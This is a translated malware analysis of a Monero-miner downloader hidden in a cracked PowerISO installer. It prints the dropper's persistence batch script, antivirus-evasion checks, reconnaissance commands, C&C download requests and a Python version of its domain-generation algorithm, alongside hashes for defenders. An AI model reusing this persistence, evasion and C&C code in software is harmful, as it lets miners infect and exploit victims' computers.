一例門羅幣礦工Downloader的DGA解析

  • 2020 年 3 月 27 日
  • 筆記

Bert Hubert 注意到了一個涉及.tickets、.blackfriday、.feedback等頂級域名的 DGA 域名,並將其發布到 Twitter:

Paul Melson 揭露了其中一個域名與某個門羅幣礦工的關聯:

產生該域名的樣本相關資訊如下所示:

屬性

MD5

39c8620827ab6005e57e9e9f172d47ff

SHA1

239a7a6ea5155b1863815f595841d00cb0feec46

SHA256

e82c95edb680fd6a88b73eb8389759f03aebfcb70e081ecb259ea738e16f8cdd

大小

7734 KB,7919356位元組

文件是一個 Nullsoft 安裝程式,該程式會釋放三個文件:

文件

描述

PowerISO6-Full.exe

可能是 PowerISO 6 的破解版,可能帶有其他惡意軟體。我並沒有分析該文件(MD5:31594d28c74f367073ba17acea9809f6)

svchostc.exe

本文涉及的惡意軟體(MD5:1d47bd7706b2032aa41257c92cb0e3b1)

launcher.bat

用於複製 svchostc.exe 到本地的 appdata 文件夾並創建計劃任務以在重新啟動時運行的安裝腳本(MD5:31c740ee5ebd975decd8345baa5ff4e6)

將 launcher.bat 惡意軟體複製到本地 AppData 文件夾並創建計劃任務以 svchostc.exe 在主機啟動時運行二進位文件(延遲十分鐘):

@echo offecho "PATCHING..."set installpath=%~1if not exist "%LOCALAPPDATA%svchostc" mkdir %LOCALAPPDATA%svchostc >nul 2>&1move "%installpath%svchostc.exe" "%LOCALAPPDATA%svchostcsvchostc.exe" >nul 2>&1schtasks /create /tn svchostc /sc ONSTART /DELAY 0010:00 /RL HIGHEST →  /tr "%LOCALAPPDATA%svchostcsvchostc.exe" /f >nul 2>&1start "" "%LOCALAPPDATA%svchostcsvchostc.exe"  (goto) 2>nul & del "%~f0"

可以在 GitHub 中找到該 svchostc.exe 文件,當前 C&C 的 DGA 域名沒有部署任何 Payload,但是從 GitHub 的倉庫和 Paul Melson 的推文中都可以知道原本是門羅幣的礦工。

關於 Downloader

沒有發現關於 Downloader 文件 svchostc.exe(1d47bd7706b2032aa41257c92cb0e3b1)任何公開的分析報告。即使該樣本被許多殺毒軟體識別為惡意程式,但殺軟僅為該樣本提供了通用命名。在嘗試查找其他樣本時,偶然發現了下面這個文件:

屬性

MD5

a4c3e4634219a9be12aebaebd91c75fa

SHA1

59ffcd2bc41206ec4e4d2609b818a8e8cc1ec677

SHA256

2a821ee54d13c9d83909f1fadc283b9340e3f024cac36e97b29f88a94274788e

大小

23213 KB,23769216位元組

許多反病毒軟體將其判定為 Riskware 或非病毒。該樣本與上述文件具有非常相似的功能,但在 C&C 方面有所不同,值得注意的是它沒有 DGA。

這兩個文件都是用 C++ 編寫的,沒有剝離調試資訊。因此,本文將維持惡意軟體編寫時函數的原始名稱。這兩個樣本文件都執行以下四個步驟:

1.檢查殺軟,發現就退出 2.收集系統資訊 3.與 C&C 伺服器通訊下載實際惡意軟體 4.確保下載的惡意軟體運行,並在必要時重新啟動

反殺軟

兩個樣本都使用相同的反殺軟檢查方法(avTests)。該方法由 Emeric Nasi 於 2014 年 8 月在論文《Bypass Antivirus Dynamic Analysis》中提出。一共六個測試用例,任何一個返回 True 的話惡意軟體會休眠 10 秒鐘並退出。

a-flsTest

bool flsTest(void){  return FlsAlloc(0i64) != FLS_OUT_OF_INDEXES;}

b-winApiTest

bool winApiTest(void){  HANDLE hProcess; // rax    hProcess = GetCurrentProcess();  return VirtualAllocExNuma(hProcess, 0i64, 1000ui64, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE, 0) != 0i64;}

c-timeDistortionTest

_BOOL8 timeDistortionTest(void){  DWORD ticks_after; // [rsp+28h] [rbp-8h]  DWORD ticks_before; // [rsp+2Ch] [rbp-4h]    ticks_before = GetTickCount();  Sleep(1000u);  ticks_after = GetTickCount();  return ticks_before + 1000 <= ticks_after && ticks_before + 1500 >= ticks_after;}

d-systemProcessTest

bool systemProcessTest(void){  return OpenProcess(PROCESS_ALL_ACCESS, 0, 4u) == 0i64;}

e-incrementTest

bool incrementTest(void){  int i; // [rsp+8h] [rbp-8h]  int cpt; // [rsp+Ch] [rbp-4h]    cpt = 0;  for ( i = 0; i <= 99999999; ++i )    ++cpt;  return cpt == 100000000;}

f-memoryTest

__int64 memoryTest(void){  void *Block; // [rsp+28h] [rbp-8h]    Block = malloc(100000000ui64);  if ( !Block )    return 0i64;  memset(Block, 0, 100000000ui64);  free(Block);  return 1i64;}

收集系統資訊

帶有 DGA 的樣本僅收集兩個資訊:

失陷主機的處理器數量(GetSystemInfo) 門羅幣礦機的已安裝版本

礦工的版本以文件名保存在 CSIDL_LOCAL_APPDATAsvchostc 中,例如 C:UsersUserAppDataLocalsvchostc。文件名的格式為 wincache<nr>,其中 <nr> 為整數版本號。可以在 GitHub 上看到此類文件:

在這種情況下,版本號為 15。隨後將版本號和處理器數量存儲在字元串 ;v:<version>;c:<nrofprocessors> 中,例如 ;v:15;c:2,之後使用 base64 編碼(如 O3Y6MTU7YzoyIC1uCg==)。

基於 Tor 的 Downloader 可以通過運行以下命令得到更多細節:

cmd.exe /c 「(wmic computersystem get /format:list) cmd.exe /c 「(wmic cpu get /format:list) cmd.exe /c 「(wmic memorychip get /format:list) cmd.exe /c 「(wmic path Win32_VideoController get /format:list) cmd.exe /c 「(wmic /Node:localhost /Namespace:rootSecurityCenter2 Path AntiVirusProduct Get /format:list) cmd.exe /c 「(wmic nicconfig get /format:list) cmd.exe /c 「(wmic os get /format:list) cmd.exe /c 「(wmic path Win32_SystemEnclosure get /format:list)

下載惡意軟體

基於 Tor 的下載器附帶的 Tor 版本為 0.3.3.7,該版本安裝到 %LOCALAPPDATA%Temp。嘗試通過代理 127.0.0.1:9050 連接 http://www.google.com 以查看 Tor 是否正在運行。否則嘗試重新安裝該軟體,直到通過 Tor 與 Google 成功連接為止。隨後,該惡意軟體會嘗試交替從以下兩個域名下載 Payload:

asxe4d2fmz7ji5ux.onion dyvt2mleg33f6zdb.onion

基於 DGA 的惡意軟體不使用 Tor,兩個文件後續的步驟幾乎完全相同,只介紹基於 DGA 的惡意軟體。首先,惡意軟體使用簡單的 HTTP GET 請求將系統資訊發送到 hello.php:

GET /hello.php?info=O3Y6MDtjOjI= HTTP/1.1Host: 31b4bd31fg1x2.org Connection: close

響應要麼需要有 Content-Length HTTP 頭,要麼需要 Payload 的長度設置在 HTTP 可選頭的第一行,長度以文本形式存儲。隨後是 512 位元組的 RSA 簽名,然後是簽名內容,最後是版本號,格式如下所示:

<length>rn<512 Bytes signature><version nr>

使用以下 RSA 密鑰驗證簽名:

30820120300D06092A864886F70D01010105000382010D00308201080282010100B5E3FE072C644E09E276**8**3DF8944FB9DE98641F9FA24785B1217581924299D5CBFF5FFA803A5A88F54142E9124E41BA2E9AE6862D5542D7592846E853F5C04AEC33550CB8023CE9780E15B4B6E1C***61683E0D387A6DC610DEF52AEE75D99706EA7AF7D9**65F97F14C9E2BA42BBE4735124AE08BA70962FA3DED1EDC5571644B0F6659671AED866164255D229946002D4A7C1D5B360410132EB5801AB985506316708170D749362E4B0E8B825EF358A2FA87601DE49E27E89F728E09D6FEAC1005F69BCDE8E63BEC25B3ED1664B29480501FAD3E9F3D043894A1D4751FFD4ACE00E403D5D1911C98CAFC54074CA04D126AEE24A4173625D57D3DD44E2F020111

如果版本號的簽名正常,並且版本大於已安裝的挖礦程式,則發出第二個 HTTP 請求:

GET /binary HTTP/1.1Host: 31b4bd31fg1x2.org Connection: close

響應的結構與前述相同,但不是版本號而是隨惡意軟體一起提供的未加密文檔。

DGA

基於 DGA 的惡意軟體噪音很大,它會生成無限數量的域名,直到獲得有效的 Payload 為止:

Downloader 有以下五個頂級域名:

.org .tickets .blackfriday .hosting .feedback

每個頂級域名都傳遞到一個單獨的執行緒中,該執行緒生成二級域名,然後執行前述操作。

DGA 每天最多生成五百個二級域名(共計兩千五百個二級域名)。每天的第一個域名都是特殊的,該域名始終使用硬編碼的第二個域名 31b4bd31fg1x2。其餘 499 個域名的生成如下所示:

1.確定自 1970.1.1 以來的天數 2.將硬編碼的 Magic Number(jkhhksugrhtijys78g46)與前一步的天數和當前域名的計數(1 到 499)用短劃線連接起來(如 jkhhksugrhtijys78g46-18243-1) 3.對字元串進行 MD5 哈希,例如 00120343a5dc7d2e4e11938b0e1fed43 4.使用哈希的前 13 個字母作為二級域名並連接該執行緒所屬的頂級域名,如 00120343a5dc7.org

以下 Python 程式碼解釋了 DGA 生成的過程:

from datetime import datetimeimport hashlibimport argparse  tlds = [    ".org",    ".tickets",    ".blackfriday",    ".hosting",    ".feedback",]  magic = "jkhhksugrhtijys78g46"special = "31b4bd31fg1x2"  def dga(date, back=0):    epoch = datetime(1970, 1, 1)    days_since_epoch = (date - epoch).days    days = days_since_epoch    for j in range(back+1):        for nr in range(500):            for tld in tlds:                seed = "{}-{}-{}".format(magic, days, nr)                m = hashlib.md5(seed.encode('ascii')).hexdigest()                mc = m[:13]                if nr == 0:                    sld = special                else:                    sld = mc                  domain = "{}{}".format(sld, tld)                yield domain        days -= 1  if __name__ == "__main__":    parser = argparse.ArgumentParser()    parser.add_argument("-d", "--date", help="date when domains are generated")    args = parser.parse_args()    if args.date:        d = datetime.strptime(args.date, "%Y-%m-%d")    else:        d = datetime.now()    for domain in dga(d):        print(domain)

例如,推文的中顯示域名來自 2018 年 4 月 10 日,如下所示:

python3 dga.py --date 2018-04-10

總結

屬性

描述

類型

確定時間相關

生成方案

MD5 哈希

種子

當前日期與 Magic 字元串

域名變化頻率

1 天

每天生成域名數量

499(+1 硬編碼)

順序

每個頂級域名在單獨的執行緒中運行,在該執行緒中依次生成域名

域名之間的等待時間

頂級域名

.org、.tickets、.blackfriday、.hosting、.feedback

二級域名字元

a-z0-f

二級域名長度

13

*參考來源:johannesbader,FB 小編 Avenger 編譯,轉載請註明來自FreeBuf.COM